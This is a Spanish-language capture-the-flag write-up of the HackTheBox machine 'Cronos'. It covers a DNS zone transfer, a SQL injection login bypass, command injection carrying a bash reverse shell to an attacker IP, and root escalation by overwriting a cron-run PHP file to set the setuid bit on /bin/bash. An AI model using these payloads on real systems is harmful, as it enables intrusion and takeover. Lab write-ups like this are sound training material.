HackTheBox Medium Linux DNS SQLi RCE Cron

Cronos

Zone transfer DNS revela subdominio admin; SQLi para login bypass; command injection para RCE; escalada via cron.

cat4clysm
Herramientas utilizadas
nmap dig nslookup netcat

Scanning

root@kali:~$
sudo nmap -sC -sV -sS -p22,53,80 -Pn -n 10.10.10.13 -oN targeted
nmap scan

DNS - Zone Transfer

root@kali:~$
nslookup
>server 10.10.10.13
>10.10.10.13
# 13.10.10.10.in-addr.arpa name = ns1.cronos.htb
nslookup
root@kali:~$
dig @10.10.10.13 cronos.htb any
zone transfer

Agregamos cronos.htb y admin.cronos.htb al /etc/hosts.

web

SQL Injection - Login Bypass

admin login
'or 1=1 -- -
logged in

RCE - Command Injection

La aplicacion de traceroute es vulnerable a command injection:

root@kali:~$
# En la maquina atacante
nc -lvp 4444

# En la web
127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'
shell
cat /home/noulis/user.txt

Escalada de Privilegios - Cron

root@kali:~$
cat /etc/cron*
cron
root@kali:~$
mv /var/www/laravel/artisan /var/www/laravel/artisan.bkup
echo "<?php shell_exec('chmod +s /bin/bash') ?>" > /var/www/laravel/artisan
bash -p
cat /root/root.txt

Lecciones aprendidas